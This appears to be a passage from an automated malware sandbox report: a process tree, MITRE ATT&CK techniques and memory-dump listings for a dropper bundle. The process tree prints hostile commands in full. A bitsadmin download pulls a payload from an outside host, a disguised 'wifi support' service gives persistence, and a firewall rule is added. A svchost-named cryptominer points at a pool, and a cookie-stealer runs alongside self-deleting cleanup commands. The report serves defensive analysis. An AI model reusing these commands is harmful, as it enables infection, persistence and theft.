        C:\Users\Admin\AppData\Local\Temp\is-BKBGL.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BKBGL.tmp\Setup3310.tmp" /SL5="$10774,138429,56832,C:\Users\Admin\AppData\Local\Temp\offbbvir.mpx\Setup3310.exe" /Verysilent /subid=623
        15⤵
        
        PID:5812
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\brpzjib3.iqw\google-game.exe & exit
        13⤵
        
        PID:5940
        
        C:\Users\Admin\AppData\Local\Temp\brpzjib3.iqw\google-game.exe
        
        C:\Users\Admin\AppData\Local\Temp\brpzjib3.iqw\google-game.exe
        14⤵
        
        PID:4332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\42oz0nam.k51\toolspab1.exe & exit
        13⤵
        
        PID:4588
        
        C:\Users\Admin\AppData\Local\Temp\42oz0nam.k51\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\42oz0nam.k51\toolspab1.exe
        14⤵
        
        PID:1852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h20phr5u.zf5\SunLabsPlayer.exe /S & exit
        13⤵
        
        PID:4388
        
        C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
        9⤵
        
        PID:1804
        
        C:\Users\Admin\AppData\Roaming\8029733.exe
        
        "C:\Users\Admin\AppData\Roaming\8029733.exe"
        10⤵
        
        PID:4168
        
        C:\Users\Admin\AppData\Roaming\6256928.exe
        
        "C:\Users\Admin\AppData\Roaming\6256928.exe"
        10⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Roaming\4061472.exe
        
        "C:\Users\Admin\AppData\Roaming\4061472.exe"
        10⤵
        
        PID:4448
        
        C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
        9⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
        10⤵
        
        PID:4744
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im RunWW.exe /f
        11⤵
        Kills process with taskkill
        
        PID:4784
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        11⤵
        Delays execution with timeout.exe
        
        PID:4684
        
        C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
        9⤵
        
        PID:3964
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        10⤵
        
        PID:4288
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mjwl5dpg.we3\google-game.exe & exit
        5⤵
        
        PID:3508
      - C:\Users\Admin\AppData\Local\Temp\mjwl5dpg.we3\google-game.exe
        
        C:\Users\Admin\AppData\Local\Temp\mjwl5dpg.we3\google-game.exe
        6⤵
        
        PID:3340
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nt5zfbm3.hg2\toolspab1.exe & exit
        5⤵
        
        PID:3472
      - C:\Users\Admin\AppData\Local\Temp\nt5zfbm3.hg2\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\nt5zfbm3.hg2\toolspab1.exe
        6⤵
        
        PID:3672
        
        C:\Users\Admin\AppData\Local\Temp\nt5zfbm3.hg2\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\nt5zfbm3.hg2\toolspab1.exe
        7⤵
        
        PID:3996
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\igogx2wp.n14\SunLabsPlayer.exe /S & exit
        5⤵
        
        PID:2300
      - C:\Users\Admin\AppData\Local\Temp\igogx2wp.n14\SunLabsPlayer.exe
        
        C:\Users\Admin\AppData\Local\Temp\igogx2wp.n14\SunLabsPlayer.exe /S
        6⤵
        
        PID:3860
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:1360
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:2156
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:3764
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:2700
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsv225.tmp\tempfile.ps1"
        7⤵
        
        PID:3408
        
        C:\Windows\SysWOW64\bitsadmin.exe
        
        "bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z
        7⤵
        Download via BitsAdmin
        
        PID:4072
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xi0wkmns.0rr\GcleanerWW.exe /mixone & exit
        5⤵
        
        PID:1772

C:\Users\Admin\AppData\Local\Temp\53E8.exe
C:\Users\Admin\AppData\Local\Temp\53E8.exe
1⤵
PID:2880
- C:\Users\Admin\AppData\Local\Temp\53E8.exe
  "C:\Users\Admin\AppData\Local\Temp\53E8.exe"
  2⤵
  PID:992

C:\Users\Admin\AppData\Local\Temp\99DE.exe
C:\Users\Admin\AppData\Local\Temp\99DE.exe
1⤵
PID:1736
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rfyegleq\
  2⤵
  PID:2172
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rqqxokno.exe" C:\Windows\SysWOW64\rfyegleq\
  2⤵
  PID:3012
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create rfyegleq binPath= "C:\Windows\SysWOW64\rfyegleq\rqqxokno.exe /d\"C:\Users\Admin\AppData\Local\Temp\99DE.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:2056
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description rfyegleq "wifi internet conection"
  2⤵
  PID:3068
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start rfyegleq
  2⤵
  PID:596
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:1584

C:\Users\Admin\AppData\Local\Temp\DA48.exe
C:\Users\Admin\AppData\Local\Temp\DA48.exe
1⤵
PID:752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:2172
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:2872

C:\Windows\SysWOW64\rfyegleq\rqqxokno.exe
C:\Windows\SysWOW64\rfyegleq\rqqxokno.exe /d"C:\Users\Admin\AppData\Local\Temp\99DE.exe"
1⤵
PID:2336
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:2720
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:2708

C:\Users\Admin\AppData\Local\Temp\is-U4HJF.tmp\prolab.tmp
"C:\Users\Admin\AppData\Local\Temp\is-U4HJF.tmp\prolab.tmp" /SL5="$20408,575243,216576,C:\Program Files\Mozilla Firefox\QIGFNRZOPJ\prolab.exe" /VERYSILENT
1⤵
PID:4884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

BITS Jobs

T1197

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

New Service

T1050

Scheduled Task

T1053

Defense Evasion

BITS Jobs

T1197

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/408-188-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Filesize
4KB

Download
memory/408-196-0x00000000006D0000-0x000000000070F000-memory.dmp

Filesize
252KB

Download
memory/408-194-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/580-276-0x0000000001E10000-0x0000000001EDC000-memory.dmp

Filesize
816KB

Download
memory/580-277-0x0000000000400000-0x00000000004D0000-memory.dmp

Filesize
832KB

Download
memory/752-283-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/864-306-0x0000000000F60000-0x0000000000FD0000-memory.dmp

Filesize
448KB

Download
memory/864-305-0x00000000009E0000-0x0000000000A2B000-memory.dmp

Filesize
300KB

Download
memory/884-154-0x00000000013B0000-0x00000000013B1000-memory.dmp

Filesize
4KB

Download
memory/884-160-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/884-161-0x00000000003F0000-0x000000000040F000-memory.dmp

Filesize
124KB

Download
memory/884-163-0x000000001AF30000-0x000000001AF32000-memory.dmp

Filesize
8KB

Download
memory/884-162-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/992-296-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Filesize
4KB

Download
memory/1244-297-0x0000000002BE0000-0x0000000002BF7000-memory.dmp

Filesize
92KB

Download
memory/1288-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1288-92-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1288-91-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1288-90-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1288-109-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1288-107-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1288-89-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/1288-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/1288-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/1288-97-0x0000000000400000-0x000000000051E000-memory.dmp

Filesize
1.1MB

Download
memory/1288-96-0x0000000000400000-0x000000000051E000-memory.dmp

Filesize
1.1MB

Download
memory/1288-98-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/1404-284-0x0000000003230000-0x0000000005A39000-memory.dmp

Filesize
40.0MB

Download
memory/1404-280-0x0000000000400000-0x0000000002C09000-memory.dmp

Filesize
40.0MB

Download
memory/1404-285-0x0000000003230000-0x0000000005A39000-memory.dmp

Filesize
40.0MB

Download
memory/1404-287-0x0000000003230000-0x0000000005A39000-memory.dmp

Filesize
40.0MB

Download
memory/1404-279-0x00000000001D0000-0x00000000001FF000-memory.dmp

Filesize
188KB

Download
memory/1404-288-0x0000000003230000-0x0000000005A39000-memory.dmp

Filesize
40.0MB

Download
memory/1408-311-0x00000000047C1000-0x00000000047C2000-memory.dmp

Filesize
4KB

Download
memory/1408-310-0x0000000000400000-0x0000000000474000-memory.dmp

Filesize
464KB

Download
memory/1408-309-0x00000000003D0000-0x00000000003FF000-memory.dmp

Filesize
188KB

Download
memory/1460-264-0x0000000004C20000-0x0000000004C21000-memory.dmp

Filesize
4KB

Download
memory/1460-208-0x00000000009C0000-0x00000000009C1000-memory.dmp

Filesize
4KB

Download
memory/1532-195-0x0000000000390000-0x000000000039E000-memory.dmp

Filesize
56KB

Download
memory/1532-201-0x00000000004A0000-0x00000000004A1000-memory.dmp

Filesize
4KB

Download
memory/1532-189-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

Filesize
4KB

Download
memory/1532-192-0x0000000000380000-0x0000000000381000-memory.dmp

Filesize
4KB

Download
memory/1556-266-0x0000000000400000-0x0000000000949000-memory.dmp

Filesize
5.3MB

Download
memory/1556-265-0x0000000000260000-0x00000000002FD000-memory.dmp

Filesize
628KB

Download
memory/1596-308-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1596-278-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1596-307-0x0000000002360000-0x0000000002FAA000-memory.dmp

Filesize
12.3MB

Download
memory/1656-212-0x00000000011B0000-0x00000000011B1000-memory.dmp

Filesize
4KB

Download
memory/1656-198-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1656-202-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/1668-197-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Filesize
4KB

Download
memory/1668-204-0x00000000004E0000-0x0000000000511000-memory.dmp

Filesize
196KB

Download
memory/1668-205-0x00000000005C0000-0x00000000005C1000-memory.dmp

Filesize
4KB

Download
memory/1668-183-0x00000000009D0000-0x00000000009D1000-memory.dmp

Filesize
4KB

Download
memory/1668-193-0x00000000004C0000-0x00000000004C1000-memory.dmp

Filesize
4KB

Download
memory/1684-299-0x0000000000650000-0x0000000000651000-memory.dmp

Filesize
4KB

Download
memory/1720-172-0x0000000000D90000-0x0000000000D91000-memory.dmp

Filesize
4KB

Download
memory/1804-304-0x00000000002D0000-0x000000000032C000-memory.dmp

Filesize
368KB

Download
memory/1804-303-0x0000000000C40000-0x0000000000D41000-memory.dmp

Filesize
1.0MB

Download
memory/1864-269-0x0000000004B50000-0x0000000004B51000-memory.dmp

Filesize
4KB

Download
memory/2012-60-0x0000000075041000-0x0000000075043000-memory.dmp

Filesize
8KB

Download
memory/2028-300-0x0000000000250000-0x00000000002D0000-memory.dmp

Filesize
512KB

Download
memory/2236-281-0x0000000000500000-0x0000000000501000-memory.dmp

Filesize
4KB

Download
memory/2248-268-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/2272-289-0x0000000002B70000-0x0000000002B71000-memory.dmp

Filesize
4KB

Download
memory/2284-270-0x0000000000B60000-0x0000000000B61000-memory.dmp

Filesize
4KB

Download
memory/2308-294-0x0000000000B60000-0x0000000000B61000-memory.dmp

Filesize
4KB

Download
memory/2324-274-0x0000000002930000-0x0000000002931000-memory.dmp

Filesize
4KB

Download
memory/2336-290-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

Filesize
4KB

Download
memory/2352-282-0x00000000001D0000-0x00000000001DC000-memory.dmp

Filesize
48KB

Download
memory/2456-292-0x00000000002D0000-0x00000000002FF000-memory.dmp

Filesize
188KB

Download
memory/2456-293-0x0000000000400000-0x00000000009C0000-memory.dmp

Filesize
5.8MB

Download
memory/2464-295-0x0000000000270000-0x000000000030D000-memory.dmp

Filesize
628KB

Download
memory/2464-298-0x0000000000400000-0x0000000002C4B000-memory.dmp

Filesize
40.3MB

Download
memory/2496-301-0x0000000002E50000-0x0000000003776000-memory.dmp

Filesize
9.1MB

Download
memory/2496-302-0x0000000000400000-0x0000000000DE1000-memory.dmp

Filesize
9.9MB

Download
memory/2624-286-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/2628-267-0x0000000000400000-0x0000000000481000-memory.dmp

Filesize
516KB

Download
memory/2728-275-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2756-271-0x0000000004E70000-0x0000000004E71000-memory.dmp

Filesize
4KB

Download
memory/2788-291-0x0000000004390000-0x0000000004391000-memory.dmp

Filesize
4KB

Download
memory/2868-273-0x0000000000320000-0x0000000000332000-memory.dmp

Filesize
72KB

Download
memory/2868-272-0x0000000000280000-0x0000000000290000-memory.dmp

Filesize
64KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads